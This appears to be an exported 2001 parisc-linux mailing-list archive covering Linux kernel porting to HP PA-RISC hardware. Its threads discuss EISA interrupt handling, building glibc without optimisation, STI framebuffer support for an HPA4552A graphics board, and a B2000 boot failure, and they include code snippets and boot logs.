> ftp://puffin.external.hp.com/pub/parisc/src/eisa-irq.c which works enough
> that it seems to claim the IRQs; but the hp100 driver just allocates
> IRQ3 and doesn't allow any kind of fixup, so I haven't actually tested it.


asp_find_irq() wants changing:

-               case 0x76:      irq = 21; break; /* Centronics */
+               case 0x76:      irq = 17; break; /* EISA BA */

and needs a default case to avoid returning random irq values.

and you probably want something like this in eisa_probe():

        eisa_dev.region->action = kmalloc(sizeof(struct irqaction) * 32, GFP_ATOMIC);
        memset(eisa_dev.region->action, 0, sizeof(struct irqaction) * 32);

I'm sure '32' is wrong, but at least you need some range checking on
irq in eisa_irq() before using it to index in to the action array.

Now I get one EISA irq immediately that request_irq(irq, eisa_irq, 0, name, NULL)
is called, at which point the above allocation hasn't yet happened ==> bang.
Incidently, eisa_irq() reports "EISA irq 167" for that event so using irq
as a simple index into action[] is probably wrong.

I don't get any further eisa_irq() calls once my scsi card gerneates an
interrupt, but for all I know I may have to poke some registers in the
card before it allows interrupts out.

Richard





From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Glibc 2.2.4-2 No Optimizations = No Compliation
Date: Thu, 11 Oct 2001 07:31:01 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20011011073101.B5637@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620605 27770 80.91.229.3 (22 Nov 2014 01:43:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 05:29:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4593482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 05:29:33 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9BCBQG08023
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 08:11:26 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9BBV1E07659
	for parisc-linux@lists.parisc-linux.org; Thu, 11 Oct 2001 07:31:01 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (89% Sync Ratio [=========.])
Xref: news.gmane.org gmane.linux.ports.parisc:12580

pa-list,

I was working on glibc once again last night.

With the hopes of compiling the library with less optimizations
and tracing through some saner PARISC assembly.

I've noticed that glibc-2.2.4/config.h.in (eventually becomes
config.h) throws an error if glibc is compiled wihtout 
optimizations.

"#error glibc cannot be compiled without optimizations"

Why?

I've trolled the glibc lists, and the faq, hunted through gcc
manuals and referance documentation... to no avail.

As of last year, Drepper made -02 the stable glibc 
compilation standard.

I've compiled glibc with -O1 and it looks like saner assembly.
I have yet to do a full trace through again.

I would like to compile with -O0, but I'm not quite sure of
the ramifications. 

Any reasons why I can't? Any ideas?

c.

Note: This is only for the sake of debugging :)




From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: norbert.naether@leica-microsystems.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPA4552A, stifb
Date: Thu, 11 Oct 2001 12:27:13 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <OF4ACC8BA3.E1FA8942-ONC1256AE2.0037A5B7@leica.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620605 27775 80.91.229.3 (22 Nov 2014 01:43:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 05:57:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by dsl2.external.hp.com (Postfix) with SMTP id 4681C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 05:57:09 -0600 (MDT)
X-VirusChecked: Checked
Original-Received: (qmail 3345 invoked from network); 11 Oct 2001 11:53:17 -0000
Original-Received: from kos.leica.co.uk (193.128.84.3)
  by server-43.tower-1.london-2.starlabs.net with SMTP; 11 Oct 2001 11:53:17 -0000
Original-Received: from lmscentralns01.leica.co.uk ([209.28.72.115])
	by kos.leica.co.uk with esmtp (Exim 3.15 #1)
	id 15reCJ-0000YW-00
	for parisc-linux@lists.parisc-linux.org; Thu, 11 Oct 2001 12:40:20 +0100
X-MIMETrack: Serialize by Router on Hub-LMSCentralNS01/LMSCentral/Leica(Release 5.0.5 |September
 22, 2000) at 10/11/2001 12:44:55 PM
Xref: news.gmane.org gmane.linux.ports.parisc:12581

Hi,

the C200 VISUALIZE with an HPA4552A graphic board (SUMMIT fx2) is finally
running sticon. :-)
I only added the PCI device ID to sti_pci_tbl[ ] in sticore.c :

{ PCI_VENDOR_ID_HP, 0x1008, PCI_ANY_ID, PCI_ANY_ID, 0 ,0, 0}

Now, I did some (more or less stupid..) things in stifb.c. With one
(expected) result:  *take the power cord !* ;-)
Is there anything I could do, to get this device running the framebuffer
driver ?

Thanks,
Greetings, Norbert
....
....
Oct 11 10:05:04 hp707 kernel: Starting kswapd v1.8
Oct 11 10:05:04 hp707 kernel: parport_init_chip: initialize bidirectional-mode.
Oct 11 10:05:04 hp707 kernel: parport0: PC-style at 0xffd02800, irq 216 [PCSPP,TRISTATE]
Oct 11 10:05:04 hp707 kernel: STI PCI ROM enabled at 0xf1e00000
Oct 11 10:05:04 hp707 kernel: PCI graphic ROM found at f1e00000 (2048 kB), fb @f6000000 (32 MB)
Oct 11 10:05:04 hp707 kernel: PCI region 0: f6000000 with 32768 kB
Oct 11 10:05:04 hp707 kernel: PCI region 1: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 2: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 3: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 4: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 5: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 6: f1e00000 with 2048 kB
Oct 11 10:05:04 hp707 kernel: PCI region 7: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 8: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 9: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 10: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: PCI region 11: 00000000 with 0 kB
Oct 11 10:05:04 hp707 kernel: Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
Oct 11 10:05:04 hp707 kernel: sig 55aa0000, PCI STI ROM at f1e00044
Oct 11 10:05:04 hp707 kernel: STI word mode ROM at f1e00044, hpa=f6000000
Oct 11 10:05:04 hp707 kernel: STI word mode ROM, id 2fc1066b-9a02587, conforms to spec rev. 8.09
Oct 11 10:05:04 hp707 kernel: STI device: HPA4552A
Oct 11 10:05:04 hp707 kernel: stifb: Unsupported graphics card (id=0x2fc1066b) - skipping.
Oct 11 10:05:04 hp707 kernel: pty: 256 Unix98 ptys configured
....
....





_______________________________________________________________________
This message has been checked for all known viruses by the oxstrad Ltd (www.oxstrad.com) scanning service, powered by Messagelabs. For further information visit http://www.messagelabs.com/stats.asp





From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 07:37:06 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB19216279A@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620605 27777 80.91.229.3 (22 Nov 2014 01:43:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:25 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: 'Matthew Wilcox' <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 07:31:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cindrpmx1.corp.harris.com (cindrpmx1.corp.harris.com [137.237.241.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7452482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 07:31:42 -0600 (MDT)
Original-Received: by cindrpmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <TJ0JH6JS>; Wed, 10 Oct 2001 07:37:09 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12582

> Anyone want to review a patch that makes EISA work?  I've only
> tested it on a 715/75 with a Mongoose chip; but Wax is
> supposed to be programmatically identical.  The patch is
> 18k, so rather than post it to the list, it's available from
> ftp://puffin.external.hp.com/pub/parisc/src/eisa.diff
>=20
I=B4ve just tested this patch on my 715/75 and it seems the =
EISA-Subsystem works.
Since I don=B4t have an EISA-Card I=B4ve tried an old ISA-Nic (NE2000) =
but the
driver-module has problems detecting the interrupt of the card and i =
have no
idea which one to use.....
I can give the module any irq i want and it says everything is fine but =
of
course no network-traffic possible.....
Is there any chance to bring this card to life?

greetings
Wolfgang





From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.2.4-2 No Optimizations = No Compliation
Date: Thu, 11 Oct 2001 14:47:18 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20011011144718.A22924@parcelfarce.linux.theplanet.co.uk>
References: <20011011073101.B5637@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620606 27780 80.91.229.3 (22 Nov 2014 01:43:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:26 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 07:47:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43973482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 07:47:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rgBC-0006Bq-00; Thu, 11 Oct 2001 14:47:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011011073101.B5637@megatonmonkey.net>; from carlos@megatonmonkey.net on Thu, Oct 11, 2001 at 07:31:01AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12583

On Thu, Oct 11, 2001 at 07:31:01AM -0400, Carlos O'Donell Jr. wrote:
> With the hopes of compiling the library with less optimizations
> and tracing through some saner PARISC assembly.

I dunno... I oftn find optimised easier to read.

> I've noticed that glibc-2.2.4/config.h.in (eventually becomes
> config.h) throws an error if glibc is compiled wihtout 
> optimizations.
> 
> "#error glibc cannot be compiled without optimizations"

I don't know.  But I guess glibc needs to inline something, and this doesn't
happen below -O1.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.2.4-2 No Optimizations = No Compliation
Date: Thu, 11 Oct 2001 09:59:13 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20011011095913.A8106@megatonmonkey.net>
References: <20011011073101.B5637@megatonmonkey.net> <20011011144718.A22924@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620606 27782 80.91.229.3 (22 Nov 2014 01:43:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:26 +0000 (UTC)
Cc: baldric-exec@baldric.uwo.ca
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 07:57:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C0A6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 07:57:56 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9BEdiG08830;
	Thu, 11 Oct 2001 10:39:45 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9BDxDk08220;
	Thu, 11 Oct 2001 09:59:13 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011011144718.A22924@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Oct 11, 2001 at 02:47:18PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (36% Sync Ratio [====......])
Xref: news.gmane.org gmane.linux.ports.parisc:12584

> 
> I dunno... I oftn find optimised easier to read.
> 

Really?
How about unrolled loops? ;)

In this case with GCC 3.0 being so fresh, there might
be some issues with -O2... so I'd like to see what 
happend at -O0.  I've patched, and I'm currently 
recompiling with -O0... so we'll see.

> 
> I don't know.  But I guess glibc needs to inline something, and this doesn't
> happen below -O1.
> 

True. But that really shouldn't make much difference since
AFAIK inlining doesn't happen until -O2, but config.h just says...
"You must have atleast -O1"

Those inlines, if they aren't there, would cause the build to fail...
and I still haven't seen any indication of this.

We shall see. If -O0 still segfaults, I'll trace that asm and
see what I can see... damn this all sounds so much like voodoo
magic.

c.




From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.2.4-2 No Optimizations = No Compliation
Date: Thu, 11 Oct 2001 15:03:26 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20011011150326.C22924@parcelfarce.linux.theplanet.co.uk>
References: <20011011073101.B5637@megatonmonkey.net> <20011011144718.A22924@parcelfarce.linux.theplanet.co.uk> <20011011095913.A8106@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620606 27786 80.91.229.3 (22 Nov 2014 01:43:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:26 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 08:03:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CC33482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 08:03:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rgQo-0006PH-00; Thu, 11 Oct 2001 15:03:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011011095913.A8106@megatonmonkey.net>; from carlos@megatonmonkey.net on Thu, Oct 11, 2001 at 09:59:13AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12585

On Thu, Oct 11, 2001 at 09:59:13AM -0400, Carlos O'Donell Jr. wrote:
> Really?
> How about unrolled loops? ;)

Sometimes.  More importantly, gcc stops doing stupid things with -O1,
particulalry shifting registers backwards and forwards with no net effect.

> True. But that really shouldn't make much difference since
> AFAIK inlining doesn't happen until -O2, but config.h just says...
> "You must have atleast -O1"

Not the case.  gcc will inline functions marked as such at -O1.  At -O3,
it decides for itself to inline some things.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.2.4-2 No Optimizations = No Compliation
Date: Thu, 11 Oct 2001 10:19:40 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20011011101940.B8106@megatonmonkey.net>
References: <20011011073101.B5637@megatonmonkey.net> <20011011144718.A22924@parcelfarce.linux.theplanet.co.uk> <20011011095913.A8106@megatonmonkey.net> <20011011150326.C22924@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620607 27788 80.91.229.3 (22 Nov 2014 01:43:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:27 +0000 (UTC)
Cc: willy@debian.org
To: parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 08:18:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9149D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 08:18:16 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9BF0DG08968;
	Thu, 11 Oct 2001 11:00:13 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9BEJfS08313;
	Thu, 11 Oct 2001 10:19:41 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca,
	willy@debian.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011011150326.C22924@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Oct 11, 2001 at 03:03:26PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12586

> 
> Sometimes.  More importantly, gcc stops doing stupid things with -O1,
> particulalry shifting registers backwards and forwards with no net effect.
> 

I've not seen such mischieviously deviant behaviour from gcc :}

> 
> Not the case.  gcc will inline functions marked as such at -O1.  At -O3,
> it decides for itself to inline some things.
>

Ok.

Compiled with -O0 and I get undefined referancs to try_lock...
curse those inlined functions.

Back to -O1 and some debugging.

c.




From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a todo entry
Date: Thu, 11 Oct 2001 15:31:57 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20011011153157.D22924@parcelfarce.linux.theplanet.co.uk>
References: <200110110952.FAA31633@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620607 27790 80.91.229.3 (22 Nov 2014 01:43:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 08:31:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FFEB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 08:31:58 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rgsP-0007E4-00; Thu, 11 Oct 2001 15:31:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110110952.FAA31633@mail.lokmail.net>; from jurij@lokmail.net on Thu, Oct 11, 2001 at 05:52:59AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12587

On Thu, Oct 11, 2001 at 05:52:59AM -0400, Jurij Smakov wrote:
> > #define KERNEL_DS 0
> > #define USER_DS mfsp(3)
> > #define get_ds() (KERNEL_DS)
> > #define get_fs() mfsp(2)
> > #define set_fs(x) mtsp(x, 3)
> 
> I've been looking at it for the last two days and I still
> cannot understand it :-). Why do You want set_fs to write to
> sr3?

That was a mistake -- should be #define set_fs(x) mtsp(x, 2)

> a) In userspace sr2 is always 0, so that everybody can make 
>    their syscals.
> b) sr2 is set to sr3 when we enter the kernel.
> c) get_fs returns sr2 and set_fs sets sr2, so that we can
>    always use sr2 as the space in __get_user/__set_user
> d) When we return to userspace from the kernel, sr2 is
>    set to 0 again.

Yes.

> While modification of uaccess.h to satisfy c) is more or less
> trivial, real problem for me is b) and d). I'm not quite sure, 
> where to look for these entries and returns? I would guess, 
> entry.S is the right place, but obviously I didn't RTFM enough to
> hack it yet.

Right.  I suspect the only place(s?) we need to set sr2 to 0 is where we
set sr4-7 to the user's space ID, and set sr2 to sr3 in the same places
we set sr4-7 to 0.  But that theory needs setting up and testing...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin.external.hp.com,... unreachable through 
 quest
Date: Thu, 11 Oct 2001 17:31:14 +0200 (CEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0110111727280.758-100000@noc.zabbadoz.net>
References: <Pine.BSF.4.30.0110101837030.758-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620607 27792 80.91.229.3 (22 Nov 2014 01:43:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:27 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 09:32:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F361482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 09:32:46 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f9BFVEl47672;
	Thu, 11 Oct 2001 17:31:14 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <Pine.BSF.4.30.0110101837030.758-100000@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12588

On Wed, 10 Oct 2001, Bjoern A. Zeeb wrote:

> The prob still seems to exist from what I can tell from here :(

Hi,

sorry for answering my own posting but as Jurriaan Kalkman reported to
me puffin et al are reacheable again via kpn/quest. I tested from my
sites an can affirm this.

:)

Thanks

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2000
Date: Thu, 11 Oct 2001 16:47:35 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20011011164735.I4861@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620608 27793 80.91.229.3 (22 Nov 2014 01:43:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 10:47:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36C52482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 10:47:37 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f9BGlZi06973
	for parisc-linux@lists.parisc-linux.org; Thu, 11 Oct 2001 16:47:35 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12589

I just got a B2000 in and I decided to test it with Linux.

The B2000 is a strange beast.  It's got USB keyboard and mouse.
It has a IDE cdrom drive.

The 0.92 iso began booting and loaded the kernel.   It's console (B2000
is a workstation with a graphical console) went blank and the screen went
into powersaving mode.

Judging by the front panel LCD, things went very bad ;)   It was cycling
through many HPMC and FLT codes.

FLT CBF4: SYS BD
Bad OS HPMC cksm

FLT CBFC: SYS BD
Os hpmc br err

FLT CBF0: SYS BD
HPMC initiated

FLT 500B: SYS BD
Bus timeout



-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos Charlie Navarro <charlie_navarro@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
